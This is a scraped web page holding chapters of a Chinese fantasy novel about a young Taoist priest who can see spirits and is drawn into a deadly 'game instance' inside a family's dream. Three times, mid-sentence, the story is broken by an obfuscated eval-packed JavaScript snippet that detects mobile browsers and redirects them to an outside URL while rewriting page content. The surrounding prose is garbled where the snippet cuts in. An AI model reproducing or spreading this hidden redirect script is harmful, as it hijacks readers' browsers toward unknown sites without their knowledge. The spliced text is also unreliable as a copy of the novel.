《贫道也不想跨界执法》 1. 第 1 章 三月三,上巳节,也是真武大帝圣诞之日。 春日暖阳,清风微拂。 行道镇,庙会街,糖炒栗子的焦香混着香烛的烟气,卖干货糖果的摊位前排着长队,不远处的街角戏台,戴着面具的傩戏班子卖力舞动,锣鼓声和叫好声此起彼伏。 一个身穿黑色立领夹克,脚上一双沾了些泥土的徒步靴的青年穿过人山人海的庙会街,用了些力气从人群里钻出来,摘下墨镜挂在领口,站在路边缓了口气。 好多人啊。 这趟委托办得还算利落,就是赶得太急,从昨晚到现在一口东西没吃。 咕…… 肚子适时叫了一声。 唔,饿了。 他揉了揉肚子,往山脚走去。 “小晏道长!”旁边香烛店的胖大姐一眼看见他,冲他招手,“可算见着你了,前两天去观里没找着人,你师傅说你下山了?” “嗯,去邻市办了趟事。”晏星梧笑着应道,眼尾微微上挑的丹凤眼在阳光下眯了眯。 “我说呢。诶,对,你等我一下。”胖大姐跑回店里,拿出一袋子纸折的金元宝和一大沓黄纸,“正好看到道长了,后天是我祖母的祭日,今年也麻烦小晏道长帮我在观里代烧了!” 晏星梧接过袋子应了一声。 话音刚落,东边卖糖人儿摊子那边,又传来吴老伯中气十足的喊声:“小晏道长回来啦,给你个糖人儿吃着玩去!” 晏星梧摆摆手:“不了不了,吴伯,再吃糖我就要蛀牙了。” 吴老伯哈哈笑着塞进他手里一个小马糖人:“怕什么!那就吃个小的,没事的!还有这包椰蓉酥糖,刚做出来的,给晏真人带上去。” “多谢吴伯,我扫您——”他说着从兜里摸出手机伸手扫小摊桌上的二维码。 吴老伯连忙捂住他的手机:“什么钱不钱的,拿去拿去,上回我家大黄丢了,全靠晏真人一卦算出来在哪儿,还分文不收,这些都是我的一点心意……哎呀好了好了,你快走吧别妨碍吴伯做生意!” 晏星梧愣了一下,低头看着手里的小糖马和散着热气的油纸包。 “那,我就不客气啦!” 晏星梧笑着把酥糖装进背包,转身往山脚走去。走出几步,他回头看了一眼,趁吴老伯回身的功夫,从包里摸出一枚叠成三角的平安符,悄悄放在吴老伯摊子的角落。 香烛店的胖大姐看见了,没吭声,只是笑着摇了摇头。 这孩子。 - 行道镇位于望道山脚下,依着望道山而生,山顶上的守一观是当地最大也传承最久远的古观。 因为临着山上的守一观,镇上的居民几辈人都有道家信仰。三月三真武大帝圣诞,是和过年一样热闹的日子。 但出了这个镇子,就不是这样了。 神灵失落,信仰微薄,山外的世界早就变了。 晏星梧是个孤儿。 二十年前的深冬,守一观的住持晏真人在山门口的草丛里捡到了他,一块破布裹着他当作襁褓,寒风里,他不哭也不闹,安安静静地蜷在里面睡觉。 晏真人到镇上的派出所报了案,但没人知道这孩子是从哪来的,也没人来找,于是晏真人把幼小的他留在了道观里,抚养长大,收作徒弟。 他从小跟着晏真人学道门科仪,习符箓咒法,修内丹武术,卜奇门六爻。 守一观是他的家,师傅是他的家人,整座山都是他的玩伴。 他今年二十一岁, 他,还有个秘密。 - 上山的路比山下安静的多。 石板路沿着山势蜿蜒,路两旁是蓊郁的树木,阳光自上而下穿过新发的枝叶,在地上投下斑驳的影子,树林里偶尔传来几声鸟叫。走到半山腰往山下看,行道镇的屋顶、庙会的热闹、远处的田野,都尽收眼底。 望道山不算太高,但景致很好,呆起来十分舒服。 拐过一道弯,先闻见一股清甜的枣花香。 一棵不知道活了几百年的老枣树矗立在那里,树干粗得两个壮汉都合抱不过来, 老枣树晃了晃叶子。 “星梧回来啦?” 晏星梧停下脚步,抬头看着老枣树,笑出一颗尖尖的虎牙。 “回来了,枣奶奶,今天山下那么热闹,您不下去看看吗?” 一根手臂粗的树枝从上方垂到晏星梧的肩膀上,替他拂去肩上的一片新叶。 树干似乎有一道光芒闪过,蹦出一个身姿矫健,笑眯眯的老奶奶。 “我的个奶奶,您可悠着点。”晏星梧伸手虚扶了一把。 枣奶奶一身绿袍,黑色的发间点缀着几颗红彤彤的枣,笑呵呵朝他摆手,慢悠悠往山下走,道:“没事儿,没事儿,奶奶这就下山玩喽~” 晏星梧笑笑,替枣树赶走了一只往上爬的害虫,继续往山上走。 走了没多远,山路中间趴着一团毛茸茸的东西。 是山魈。 山魈长得很像猴子,又比猴子大,一身灰毛,脸却有点人的样子。 它趴在石板路中间,下巴搁在两只前爪上,正懒洋洋地晒太阳。 晏星梧站在它面前,低头看它。 它抬头看他。 “……让让。”晏星梧说。 山魈不动。 “你趴在这儿,别人看不见你,冲撞了怎么办?” 晏星梧抬脚轻轻拨了它一下,“冲撞了你,人家还要走几天霉运。快点,让开。” 山魈这才慢吞吞地爬起来,挪到草丛里,又趴下了。 晏星梧从它身边走过,顿了顿,回头看了一眼。 山魈正盯着他,眼睛圆溜溜的。 他想了想,从背包里取出一块酥糖,念了施食咒,扔了过去。 “喏,甜的。” 山魈伸爪接住,翻来覆去看看又摸摸,咧嘴露出两排尖牙,像是在笑。 晏星梧已经走远了。 是的。 这就是他的秘密。 他从小就能看见这些东西,精怪、阴物、鬼魂。 师傅说,这是天眼。 守一观在望道山的山顶。 远远就能看见那一片红墙绿瓦和起起落落的木色殿宇。 今天山门前人来人往,前来进香的信众排着大队往里走,知客道士站在门口,忙着组织纪律引导游客。 晏星梧走进山门,入眼便是灵官殿。 上山不上山,先拜王灵官。 他脱下背包到神像前恭恭敬敬地上了一柱香,青烟飘向守山大神王灵官的神像,香火袅袅中灵官爷的铜像越发显得威严。 穿过天井,三清殿,殿门开着。 一个穿着藏蓝色道袍的身影端坐在三清神像下。 晏星梧放轻脚步抬脚走进大殿,在师傅身侧的蒲团向三清爷爷行礼。 礼毕,看向师傅。 晏真人是个看起来五十岁上下的坤道,面容慈悲,眼神温和。此时她刚结束了上一场法会,在三清殿休息。 她睁开眼,转头打量了一番晏星梧,笑道:“回来了。此去如何?” 晏星梧这次是受人委托去了邻市。 旁市的谦山地产集团,因高层决策失误导致了极大的亏损,集团董事长岳大谦什么路子都试过了,都没用,急得头发一把一把地掉。 后来他不知道是从哪里得来一座神像,迷茫之下病急乱投医,向神像供了香火许愿,不成想,不到一个月,公司开始转危为安,拉来了新的资金链,活过来了。 董事长高兴的不得了,还在给神像在公司专门空出一间会议室设了神龛。 然而好景不长,个把月之后,公司员工接连出事,岳董事长也变得神神叨叨,整天把自己关在放置了神龛的会议室里,什么都不管。董事长夫人情急之下报警,有关部门查了一圈,查不出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17499244|202650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个所以然,最后几经辗转,经过相关人士提醒找到了守一观的晏真人。 日子临近三月三,晏真人作为真武大帝圣诞法会的主坛高功法师,要准备的事项太多走不开,于是派了刚大学毕业的亲传徒弟晏星梧前去。 晏星梧也是费了一番功夫才将此事处理周全。 “都处理干净了,岳老总还在医院休养,身体没什么大碍,医生说需要调养一段时间,他夫人倒是很庆幸,说保证管住老岳总以后不碰那些邪东西。” 晏真人点点头。 “哦对了,师傅,这是山下吴老伯给您的酥糖,椰蓉的,说谢谢您帮他找狗。”晏星梧一边摘去师傅衣服上不知何时粘上去的一小片羽毛,一边从背包里掏出山下吴老伯给的油纸包递给师傅。 晏真人接过拆开油纸,捏了一小块放进嘴里,眼睛弯起来。 “那天我下山半路遇到他上来求卦,我起课,贲之家人,六五爻动。” “啊,变卦是风火家人,那大黄是一定能找回来的。”晏星梧了然,“而且,还很安全。” 晏真人又捏了一小块酥糖,慢悠悠地说:“是呀,后来吴老伯跟我讲,那大黄,先是自己往东北溜达去了吴老伯儿子家的菜园子,在草丛里碰到一只野兔,又一路追到东南方向叼死了,傍晚时被吴老伯儿子发现送回了他家去。” “喔吼。”晏星梧吹了声口哨,“一卦一个准,不愧是师傅!” 正说着,他的手机响了。 晏星梧接起来:“喂?” 电话那头的声音还稍微有些中气不足的虚弱,但明显清醒了很多:“小晏道长,是我,岳大谦。” 晏星梧道:“原来是岳总,您醒了?身体好些了吗?” “是的是的,好多了,这次多亏了小晏道长,真的太感谢您了,如果没有您……我现在想起来都后怕得很。”岳大谦顿了顿,声音里带了几分不好意思,“那个……小晏道长啊,是这样的,我让人制作了一尊真武大帝神像,想摆在公司里当镇物,您看您什么时候有空,我想请您来择日开光装藏。” “您别客气,都是分内之事。”晏星梧挑了挑眉:“今天正好三月三,是真武大帝圣诞,真武大帝也称荡魔天尊,镇邪正合适。我看——” 晏星梧指尖扶了下桌沿,正要开口应下,胳膊肘却不小心带倒了桌边放着的一对黄铜筊杯。 两声清脆的碰撞声响起,筊杯顺着桌边落在了地上,打了两个转,稳稳停住。 晏星梧的目光落在筊杯上,刚到嘴边的“我看可以”,硬生生顿住了。 两枚筊杯,全是阳面朝上,笑杯。 掷筊是道门和民间信仰中请示神明意愿的方式,一阴一阳谓之圣杯,为允,两面阴谓之阴杯,也称怒杯,为不允,唯有这笑杯,是神明不置可否,但笑不语。 且这筊杯,是他无心之举碰落的,怎么有种天降卦象的感觉…… 何意味。 电话那头的岳大谦听到动静,连忙问:“小晏道长,怎么了?出什么事了吗?” 晏星梧弯腰捡起那对用了十几年的筊杯,指尖轻轻摩挲着,眉头已经微微蹙了起来。 他把手机按了免提,放在地上,声音平稳,却多了几分沉敛:“没事,岳总你稍等,我先起一卦。” 他从背包里取出三枚相同的洪武通宝,闭目凝神,心中默问此事,铜钱在两手中间摇动,指尖松开,铜钱落在地上发出清脆的声响,连摇六次,排出了卦象。 山地剥之山雷颐。 本卦山地剥,上艮下坤,五阴爻从下而上层层侵蚀唯一的阳爻,是根基剥落、正气衰微之象,不利有攸往。 初六爻动,变为颐卦初九,舍尔灵龟,观我朵颐,凶。 且应爻与用神相克,亦有隐患,眼下不宜动,动则有损耗。 晏星梧皱眉看向还在通话中动手机:“岳总,最近除了之前的事,你家里,还有什么特殊事情发生吗?” 3. 第 3 章 电子音结束的瞬间,一阵尖锐的电流猛地穿过他的四肢,疼得他闷哼一声,踉跄着扶住了旁边的墙壁。 晏星梧咬着牙直起身,眼里泛起冷意。 噬衍天尊么…… 他前几天在岳大谦公司里,亲手毁掉的神像底座上,不就刻了噬衍两个字? 他明白了,这波从一开始就是冲着他来的。 那个名为噬衍的邪祟,记恨他断了它在阳间的香火来源,专门设此举来报复他。 用岳家四口、庄园里的所有人的命! 它就是要让他陷入绝境,若他能在24小时内破局,就能救出所有人,若不能,那这些无辜的人,全部都要死在这场局里。 …好狠的算计。 晏星梧闭了闭眼,再睁开时,眼里的慌乱已尽数退去,只有坚定。 他是守一观弟子,是正道修士,从他学道的第一天起,师傅就教过他,修道先修心,行道之心,更在济世利人。 不管这到底是什么东西,他绝不能令无辜者因他而死。 不就是24小时找人吗? 干! 晏星梧拿出罗盘,铜质的指针疯狂打转,发出细微的咔咔声,完全失了准。 他反手把罗盘塞进背包,没再多耽搁,抬脚踏上楼梯,直奔二楼。 别墅的二楼多是闲置客房和活动室,门都虚掩着,里面干净空旷,床具齐整,没有半分人住过的痕迹。他连看了三四间,都是如此。 唯有走廊最东侧的那扇门关得严严实实。 晏星梧走过去,目光落在门板上。 门上贴满了卡通贴纸,汽车、恐龙、变形金刚、大耳朵X老鼠,贴纸的边角已经翘起泛黄,门把手上挂着一块塑料牌,牌上画着一只吐舌头的棕色小狗。 小孩子的房间么……难道岳家还有其他小孩? 带着疑惑,他伸手推开了门。 踏进房间的瞬间,“哐当”几声巨响,身后的房门自动反锁,两侧窗户同时被厚重的铁皮封死。 晏星梧立刻全身紧绷,进入戒备状态。 房间里只有一个儿童学习台灯亮着,灯光微弱,勉强能看清里面的轮廓。 这是一间八|九岁男孩的卧室。 靠墙摆着一架黑色钢琴,钢琴旁的书桌上堆放着小学三年级课本、试卷和练习册,床头柜上放着一本带了锁的卡通日记本。窗边铺着绒毯的空狗窝,窝里只有一条小狗项圈,嵌着一块小小的狗牌,窝边散落着几个被咬变形的骨头玩具。 晏星梧走到书桌前,拿起课本,只见课本封皮上写着板板正正的“岳均生”三字,课本旁边摞着着从六十分、八十分,到张张一百分的试卷。 正待他细看,狗窝的方向传来一声低沉委屈的呜咽,阴寒气息暴涨,房间里唯一的光源也瞬间被压得更加昏暗。 棕色雾气凝成的影子猛地从狗窝里跃出,带着刺骨的寒意向他扑来,他闪身一躲,影子擦着他的肩膀撞到墙上,坚硬的大理石墙面直接被撞出一道深深的裂痕。 影子没有停留,它从墙上弹回,四足落地——晏星梧这才看清,那是一只狗的形状,通体由浓稠的棕色雾气构成,一双暗红色的光点在眼眶位置闪烁。 它压低前肢,脊背弓起,下一瞬,它猛地扑击,直奔晏星梧的咽喉咬去。 晏星梧后退两步,右臂横在身前格挡。影子咬住他的袖口,巨大的冲击力将他带得踉跄两步,撞到了一旁的书桌上,课本试卷散落一地。 他甩开影子,稳住脚下,手已经扣住了放在腰间口袋的一张符纸。 影子又一次张嘴扑来,这次更快,晏星梧来不及闪避,只得就地一滚,胳膊肘和后背都火辣辣的疼。 影子从他头顶跃过,落地的瞬间扭身回头,暗红的眼睛死死盯着他,发出一声低沉委屈的呜呜声,那声音与它凶悍的外表完全不符。 晏星梧手指蘸了携带的朱砂,快速画符。 “……一笔勾起五雷使,铁面判官不容情,三官将帅领兵起,五雷使者疾速行!” 红色的纹路亮起,符纸自燃,金光炸裂,一尊神将虚影在他身前凝聚—— 戴牛耳幞头,朱发铁面,银牙如剑,身披翠云裘,足蹬皂靴,左手执雷簿,右手执雷笔。正是五雷判官辛元帅。 雷笔朝那影子凌空一点,一道雷霆劈落,正中黑影。 一击击出,神将虚影渐消。 影子被雷霆击中,发出一声尖锐的嘶吼,棕色的雾气剧烈翻涌,整个身躯被劈得向后翻滚了三圈。但它在墙上借力一蹬,又稳稳站住了。雾气重新聚拢,那双暗红色的眼睛比刚才更亮。 怎会如此。晏星梧心里一惊,眼睛紧紧盯着那影子。 不对。 影子没有给他细细思索的机会,它再次扑咬过来,尖利的爪子撕开他的外套,在皮肤留下三道血痕。 五雷判官辛元帅驱邪化煞,至刚至勇,专克邪祟。这一符他画了不下百遍,从未失手。 可刚才雷笔点落,影子虽然被击散,但又重新聚拢。 晏星梧踉跄着后退,脑子飞速转动,顺势滚到书桌旁边。影子再次攻击,他来不及起身,用力踹出一脚,反弹的力让后背撞上旁边的床头柜,柜子上的东西哗啦啦砸了一地。 影子没有追击,它停在原地,暗红色的眼睛盯着他,又发出了那声不符合外表的呜咽。 晏星梧撑着地面想站起来,手边碰到一个硬物,是那本带锁的日记本 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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棕色的雾影开始震颤,挣扎的力道越来越小,口中再次发出低低的呜咽,眼中的凶光一点点褪去。 影子闭上了眼,再睁开时,眼中不再是暗红色的凶光,它抬头看向晏星梧,湿润的小狗眼眨了又眨。 雾气彻底收拢。 晏星梧放下手,心中松了口气。 果真如此。 执念不会因强力打压而消失,它想要被安抚、被看见、被实现。 晏星梧垂下眼,看着掌心下轻轻舔着自己的棕色小狗,声音微微沙哑。 “黄黄。” 5. 第一个副本结束 “小同学,我是谁不重要,”张老三的笑容僵了一瞬,“重要的是你告诉我他在哪儿,这一百块就是你的了。” 他从裤兜里掏出一张皱巴巴的钞票,在晏星梧面前晃了晃。 晏星梧盯着那张钱,还没来得及反应,眼前的景象忽然变了。 荒草地裂成两半,一条路向左,一条路向右。 左边的路尽头,林小宇站在一棵树下和身边的同学聊着什么,浑然不觉危险将近。右边的路尽头,什么也没有,只有一片灰蒙蒙的雾。 两条路之间各自悬着两行字: 告诉他。 不告诉他。 晏星梧感到这具身体的愤怒顺着神经往上涌,林小宇背叛了岳均生,换做任何人,都会生出报复的念头。 可他让自己冷静了下来。 不对。如果岳均生当年真的只想报复,选了告诉他,这件事根本不会成为他记了十几年的执念。 他走向标了“不告诉他”几个字的路,画面扭曲着变回了学校后山的样子。 “叔叔。”他眨了眨眼,“小宇刚才往体育馆走了,他要去和同学打球,你现在往西走,说不定能追上他。”他抬手指了指林小宇所在地的反方向。 张老三眯起眼睛,盯着他看了两秒。 晏星梧心里一紧,面上却只是歪着头,一副真诚的模样。 “行。”张老三站起身“小同学,你要是骗我,你也别想好过。” 晏星梧站在原地,等他的背影彻底消失在树林里,才猛地转身,拼命往保卫室跑。万一张老三发现被骗了,折返回来,这具身体可不是他的对手。 他一路猛冲,穿过操场,保卫室的蓝色门牌出现在视野里,他边敲门边喊:“有人吗!救大命咯!学校里出现了前通缉犯!” 保安脸色一变,一把将他拉进保卫室,抓起桌上的对讲机:“所有人警惕!学校出现危险人物!” 对讲机里传来刺啦刺啦的电流声和急促的回复。 眼前的空气忽然扭曲了一下。 保卫室的墙壁、桌子、对讲机,像被水浸泡的墨迹,一层层晕开,褪色,幻境轰然破碎。 晏星梧眨了一下眼,再睁开时,他已经站在岳家别墅三楼的游戏房里。 墙上原本模糊的合影变得清晰。照片上十岁的岳均生和林小宇勾着肩膀,笑得一脸灿烂。 照片下面压着一封信,是成年后的林小宇写的,字迹工整,洋洋洒洒写了好几页,为当年的事道了歉,也感激岳均生那次骗过张老三保护了他。 晏星梧把信看完,重新叠好放回原处。 就在这时,那道冰冷的电子音再次在脑海里响起: 【请做出选择。】 【是否原谅林小宇?】 【是/否】 晏星梧盯着眼前悬浮的两个选项,沉默了片刻。 岳均生救了林小宇,但救人不等于原谅。 这不是他该替人做的决定。 晏星梧抬手,点了—— 【否】 话音未落,游戏房的四面墙壁轰然震动,地板从脚下裂开,虚假的景象层层剥落,像一张贴歪的纸被人从角落揭开,哗啦啦往下掉。 裂缝里透出光来。 等尘埃落定,他站在一个完整的三楼走廊里,两侧是一扇扇紧闭的门,地板平整,灯光昏黄,安安静静。 游戏房不见了。 晏星梧拍了拍身上的灰,往前走。 三楼最里面,是岳大谦的书房。 晏星梧推开书房门,一股浓重的红木家具味扑面而来,沉甸甸的让人透不过气。 书房是老式布置,厚重的实木书桌摆在正中央,身后是顶到天花板的书柜,里面塞满了晦涩的商科书籍。对面的墙上,贴着各种企业荣誉奖状和岳均生从小到大的满分成绩单,红笔写的“”优秀”两个字,在昏暗的灯光下格外刺眼。 书桌后的真皮座椅倏地向后一推,一个高大的男人虚影猛地站了起来。 是岳大谦的样子。 虚影眼神凶狠,周身翻涌着浓黑的怨气,一开口,就是冰冷愤怒的辱骂: “烂泥扶不上墙!我养你有什么用!一点小事都做不好!就知道跟那条狗玩!玩物丧志!” 话音未落,家具和虚影体积暴涨变得巨大,书房里的书本、钢笔、金属椅子,像子弹一样嗖嗖嗖地朝他砸来。 晏星梧侧身躲开,一支钢笔向他面门袭来,他一个飞踢,钢笔改变方向狠狠扎进了身后的木门里。 虚影猛地一挥手,书柜里的精装书哗啦啦飞了出来,密密麻麻砸向他,他步履不停躲开大半,还是有一本结结实实砸在肩膀上,疼得他倒抽一口冷气。 更难受的是脚下,实木地板开始一块块塌陷,咔咔声从脚底传上来,空间在被一点点啃噬,往下一望,露出的黑雾浓得看不见底,整个书房剧烈晃动,梁柱发出沉闷的嘎吱声,他能站的地方越来越小。 虚影的辱骂还在继续,一句接一句砸过来,全是岳均生记了十几年的否定与指责。 晏星梧咬着牙,和巨影玩着捉迷藏,他快速踩着还没塌陷的木板,借着迎面飞来的书本借力,猛地冲向那张巨大的实木书桌,书桌最底层的抽屉被一把黄铜锁锁得死死的,他抡起一旁的短棍狠狠砸下去,锁头瞬间碎成两半。 抽屉拉开,里面的东西哗啦啦掉了出来—— 一张泛黄的宠物医院病历单,一张宠物火葬场的收据,还有一本厚厚的皮面日记,封皮磨得发亮。 塌陷的地板猛地停住。 乱飞的杂物也悬在了半空中,整个书房只剩下岳大谦嗬哧嗬哧寻找他的喘息声。 晏星梧在抽屉里蹲下身把自己藏起来,先捡起那张病历单。 纸页已经泛黄发脆,上面的字迹却依旧清晰:犬只黄黄,多器官衰竭,治疗无效,建议安乐死。接诊日期,正是岳均生日记本里写的那天。 家属签名栏里,签着岳大谦的名字,字迹抖得厉害,连笔锋都散了。 底下是的火葬场收据,签名还是岳大谦。 晏星梧的指尖顿了顿,拿起了那本皮面日记。封面已经被摩挲得发亮,边角都磨破了,里面全是岳大谦的字迹。 这父子俩,都挺爱写日记。 他的动作放得很轻,一页页翻过去。 “3月12号,黄黄走了。” “我骗均生说把它送给乡下亲戚。” “他在狗窝边哭了一下午,眼睛都肿了。” “我不敢告诉他真相,他才十岁,怎么接受得了生离死别。” 晏星梧合上书,指尖微微发紧。原来根本不是父母以耽误学业为由狠心送走了小狗。 岳均生藏了十几年的执念和委屈,根源竟然是一场父母笨拙又小心的爱。 晏星梧并不全然赞同,父母和孩子之间,有什么话是不能长嘴沟通的?可他也说不出这份心意有什么错。 晏星梧靠在抽屉壁上,轻轻吐出一口气。他把病历单、收据和日记都收进了背包里,日记本里夹着一张旧照片,十岁的岳均生抱着黄黄,站在一间小小的木屋门前,笑得一脸灿烂。照片背面,是岳大谦的字迹:均生和黄黄在小木屋玩过家家合影留念。 晏星梧仔细辨认照片中的地点,是象舍旁的那间木屋。 这时,“哐”的一声巨响! 虚影终于找到了他的藏身处,攥着金属台灯狠狠砸在了抽屉板上,巨大的冲击力让整个抽屉瞬间变形、断裂,木屑混着金属碎片溅了他一身,锋利的边缘擦着他的胳膊划开一道道血口。 晏星梧咬牙没反击,反手极速把病历单、日记本、照片一股脑全塞进包里,迎着虚影扑来的方向矮身滑步,从它身侧的缝隙里冲了出去。 这一下彻底激怒了虚影。 震耳欲聋的怒骂声在身后炸开,整个书房瞬间天翻地覆,顶天立地的书柜轰然倒塌,无数书本、摆件先后向他砸来。 晏星梧一步都没停,直接冲出书房,顺着楼梯往楼下狂奔。 岳大谦的虚影死死追在他身后,每一步落下,整栋主楼都跟着震颤。二楼那些原本空置的客房门一扇接一扇轰然炸开,里面冒出阵阵黑雾跟着虚影一起朝他追过来。 晏星梧甩出两张镇煞符,暂时拦住了身后翻涌的黑雾,脚下发力更猛,几步跑到门口,一脚踹开主楼的大门,冲出了别墅主楼。 刚冲出来,整个庄园就开始剧烈抖动,平整的草坪裂开巨大的缝隙,路边的树木也变成狰狞的黑影,扭曲着想要扑向他。 【游戏提示:当前剩余时间:9小时02分。】 【滋……警告!副本核心出现暴动,副本开始崩塌!剩余时间压缩至3小时!倒计时结束前未达成目标,全员永久抹杀!】 狗屁游戏! 晏星梧低骂一声,拼了命地往前冲,一边跑一边甩出符箓逼退近身的黑雾。 脚下的地面不断塌陷,裂缝深渊就在身侧,他目光死死锁定着那间藏在象舍旁的木屋。 近了。 还有五十米。 三十米。 十米…… 晏星梧用尽全身力气一跃,直接撞开了木屋的木门,整个人扑进屋里,狠狠一踢将门关上。 几乎是同时,“轰”的一声巨响,岳大谦的虚影裹挟着漫天黑雾,狠狠撞在了木屋门上。 整间木屋剧烈震颤了一下,门板却纹丝不动,木屋里面像是有一层无形的屏障,死死挡住了门外的危险。 晏星梧背靠着门板,大口大口地喘着气,浑身的肌肉都在疼,后背的伤口还在渗血,汗顺着下颌线往下滴。 他缓了好半天,才抬眼打量这间木屋。 和照片里一模一样,五颜六色的墙面,一张床,一张矮木桌,地上铺着羊毛毯。 小小的岳均生闭着眼睛躺在床上,呼吸均匀,陷入了深度沉睡。他的身边,趴着一头大象的虚影,正是失踪的墩子,闭着眼睛,气息虚浮,身影淡得快要透明了。 “喂,游戏,我找到了,岳均生在这里。”晏星梧尝试和游戏隔空对话。 【答案错误,请玩家不要消极游戏。】 果然。 晏星梧勾了勾嘴角,一点都不意外。 现实中的岳均生今年都二十六了,而床上躺着的还是个十来岁的少年。 这会是岳均生的意识体吗? 晏星梧靠着还在震颤的门板,没有立刻冲去翻找线索,他思索着,缓缓闭上眼。 后背的伤口还在渗血,门外岳大谦的虚影还在疯狂撞门,可他像完全没察觉,脑子里正以极快的速度,复盘从踏入庄园开始的每一个画面,每一处细节。 这个副本的核心目标是找到人,找到被困者岳均生,并使之脱困。 他一直到刚刚都以为,岳大谦虚影和之前的黄黄、钢琴怪物是一样的,都是岳均生的负面执念化形,是困住他的枷锁。 可是这一次岳大谦的执念,带来的却是游戏时间压缩,副本崩塌的速度成倍加快。 如果执念是囚笼的围栏,那拆掉栏杆,囚笼应该打开才对,怎么会反而加速坍塌? 除非……岳大谦的虚影根本不是囚笼的栏杆。 是岳均生的潜意识亲手把他钉在这里,用童年的怨恨、委屈、不甘,撑起了这个永远停在十几岁的梦境。 他一直以为,岳均生是“被困”在这场梦里。 可如果,他是自己不想醒来呢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17499248|202650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ? 晏星梧猛地睁开眼,目光扫过这间木屋的每一个角落,五颜六色的墙壁,桌上放着各种手工用具,地上还有黄黄的狗玩具……这里似乎完美复刻了岳均生小时候最快乐的时光。 不用面对父母严苛的期待,钢琴考级的压力,朋友背叛后的难堪,还有成年后与父亲无话可说的隔阂,家族企业的重担。 乌托邦一样的小木屋,在这里,他只需要做一个十几岁的小男孩。 门外那个父亲虚影,根本不是困住他的枷锁,是他给自己造的守门人。 有这个凶神恶煞的父亲挡着,他才有永远躲在木屋里的理由和不需要面对现实的借口。 晏星梧的嗓子微微发紧,所有的线索在这一刻闭环。 他终于懂了游戏为什么说答案错误。 他找到的,从来都不是岳均生,只是岳均生想让他找到的,那个永远不用长大的幻影,是岳均生给自己制作的,最完美的保护壳。 真正的岳均生,那个二十六岁的他,是早就知道真相,却宁愿抱着怨和委屈十几年来也不愿意和父亲敞开心扉的男人,那个亲手搭建了这场梦境,把自己和整个庄园的人都困在这里的人,根本就没有被藏在任何地方。 他就是这场梦本身。 【警告!木屋防护屏障即将失效!剩余时间:30分钟,请玩家加快速度!】 他猜对了。 提示音落下,门板上的裂纹又扩大了数分,浓黑的雾像潮水一样涌进来,整个木屋的温度骤降,屋里家具的表面瞬间结上一层白霜。 晏星梧却做了一个完全出乎意料的动作。 他转身,伸手,握住了木门的把手,迎着门外震耳欲聋的撞击声,在屏障彻底碎裂的前一秒,猛地拉开了木门。 门外,裹挟着滔天怨气的岳大谦虚影,正举着金属台灯,朝着门板狠狠砸下来。门突然拉开,它的动作猛地僵在半空,猩红的眼睛死死盯着晏星梧,嘴里发出震耳的怒吼,却没有立刻扑进来。 它不敢。 或者说,岳均生的潜意识,不想让这个凶狠的父亲,踏进这间他给自己制造安全屋里。 晏星梧看着它,忽然笑了:“别装了,岳均生。” 虚影猛地一震,身形忽浅忽重。 “你十几岁的时候就发现了你爸书房抽屉里的病历单和日记,你早就知道真相了。”晏星梧的声音平静,“可你不愿意承认。” “因为一旦承认了,你爸他就不是那个狠心毁掉你童年的坏人,你就没有理由再逃避任何自己不愿面对的执念。” “所以你在梦里创造了它,有它在,你就可以永远当那个受了委屈的小孩,永远不用醒过来面对那些早就该面对的真相。” 晏星梧侧身让开门口的位置,目光直直看向虚影,也看向虚影背后,岳均生整个意识的本体。 虚影僵在原地,身上的黑雾涌动,手里的台灯举了又放,放了又举,怒吼声卡在喉咙里,却始终不敢跨过门槛一步。 整个庄园,整个梦境,都在这一刻剧烈震颤起来。 床上熟睡的男孩眼皮剧烈地颤动,眼泪顺着眼角滑落,嘴里发出压抑的抽泣声。 晏星梧没有回头,依旧看着门口的虚影,声音放缓了下来,却字字清晰:“岳均生,我知道你听得见。” “二十六岁的大男人了,来吧,像个男人一样,结束这场莫名其妙的梦。” 虚影凶狠狰狞的面目渐渐褪去,它看着屋里躺在床上的男孩,嘴唇动了动,最终只化作一声长长的、疲惫的叹息,它走到创编,和男孩一同躺了下去。 床上的男孩渐渐和黑影融合,变成了二十六岁青年的轮廓。那个躲在壳里十几年的小孩,终于和执念中的自己,握手言和了。 “游戏。” 【检测中,检测完毕。】 晏星梧:? 晏星梧:“在这脱了裤子放什么屁呢,赶紧放我们出去。” 【副本目标完成,通关评价:A级。】 【副本关闭中……】 【滋……滋滋……发生错误!警报!警报!滋滋……】 【……副本奖励已发放,恭喜玩家晏星梧活的异能:道可道。瞬墟主城权限已开启。副本奖励积分100分已发放。】 【副本脱离中,请稍候。】 什么鬼…… 电子音落下的瞬间,一阵天旋地转,再睁眼时,他已经回到了岳家庄园的别墅里,身上伤口也全都愈合了。 午后的阳光透过落地窗,暖暖洒在他身上,耳边是久违的虫鸣鸟叫,风吹过树叶的沙沙声,还有…… ……嗯? 灰色的大象敦敦实实地站在客厅中央,此时正用鼻子轻轻摆弄晏星梧的肩膀,兴奋地发出一声憨叫。 正是墩子。 